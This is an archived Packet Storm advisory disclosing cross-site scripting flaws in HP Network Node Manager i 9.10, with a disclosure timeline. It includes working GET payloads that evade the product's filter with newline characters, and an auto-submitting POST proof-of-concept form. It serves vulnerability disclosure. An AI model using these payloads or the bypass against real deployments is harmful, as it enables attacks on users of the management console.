exploit the possibilities

HP Network Node Manager i 9.10 Cross Site Scripting

HP Network Node Manager i 9.10 Cross Site Scripting
Posted Nov 24, 2011
Authored by 0a2940

HP Network Node Manager i version 9.10 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 4f163f97ba71e8c42a8e83864d5d1533

HP Network Node Manager i 9.10 Cross Site Scripting

Change Mirror Download
================
Cross-Site Scripting vulnerabilities in HP Network Node Manager i 9.10

Author: 0a29406d9794e4f9b30b3c5d6702c708

twitter.com/0a29 - 0a29.blogspot.com - GMail 0a2940
================
Description:
================

Multiple XSS vulnerabilities exist within HP NNMi. In the case of GET
request XSS, this is due to a poorly implemented filter that does not
fully protect against XSS. In the case of POST request XSS, this
appears to be due to a lack of any filter.

Of particular note is the fact that if the user is not logged in they
are presented with the login page and the XSS is activated upon login.

================
Timeline:
================

01 November 2011 - Reported to HP. No response
10 November 2011 - HP publish HPSBMU02708 SSRT100633 rev.1 - HP Network
Node Manager i (NNMi) for HP-UX, Linux, Solaris, and Windows,
Remote Cross Site Scripting (XSS) - unknown if related
16 November 2011 - Followup to HP. No response
23 November 2011 - Public disclosure

================
Details:
================

GET
-----

http://site/nnm/mibdiscover?node=<script %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/configurationpoll.jsp?nodename=</title><script
%0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/ping.jsp?nodename=</title><script
%0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/statuspoll.jsp?nodename=</title><SCRIPT
%0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/traceroute.jsp?nodename=</title><script
%0D%0A>alert('0a29');</script%0D%0A>

When the filter detects javascript contained in GET request arguments,
the server responds with an error 500 and a stack trace, which starts
with:

javax.servlet.ServletException: Detected JavaScript tag in
QueryString: "nodename=%3C/title%3E%3CSCRIPT%3E"; decoded:
"nodename=</title><script>"
com.hp.ov.nms.ui.framework.web.HttpContextFilter.assertNoXss(HttpContextFilter.java:282)
com.hp.ov.nms.ui.framework.web.HttpContextFilter.checkForXssAttack(HttpContextFilter.java:237)

With the PoCs above, this filter is evaded by including newline
characters before the closing ">" of script tags.

POST
-----

PoC HTML:

<body onLoad="submit()">
<form name="form" action="http://site/nnm/validate" method="post">
<input type="hidden" name="binderId" value="ConsoleBinder" />
<input type="hidden" name="operation" value="command" />
<input type="hidden" name="field" value="]]><a
xmlns='http://www.w3.org/1999/xhtml'><body
onload='alert(/0a29/)'/></a>" />
<input type="hidden" name="value" value="a" />
<input type="hidden" name="requestId" value="b" />
<input type="submit" class="button" name="button" />
</form>
<script>
function submit() { document.form.submit(); } </script></body>
Login or Register to add favorites

File Archive:

August 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    1 Files
  • 2
    Aug 2nd
    7 Files
  • 3
    Aug 3rd
    5 Files
  • 4
    Aug 4th
    7 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close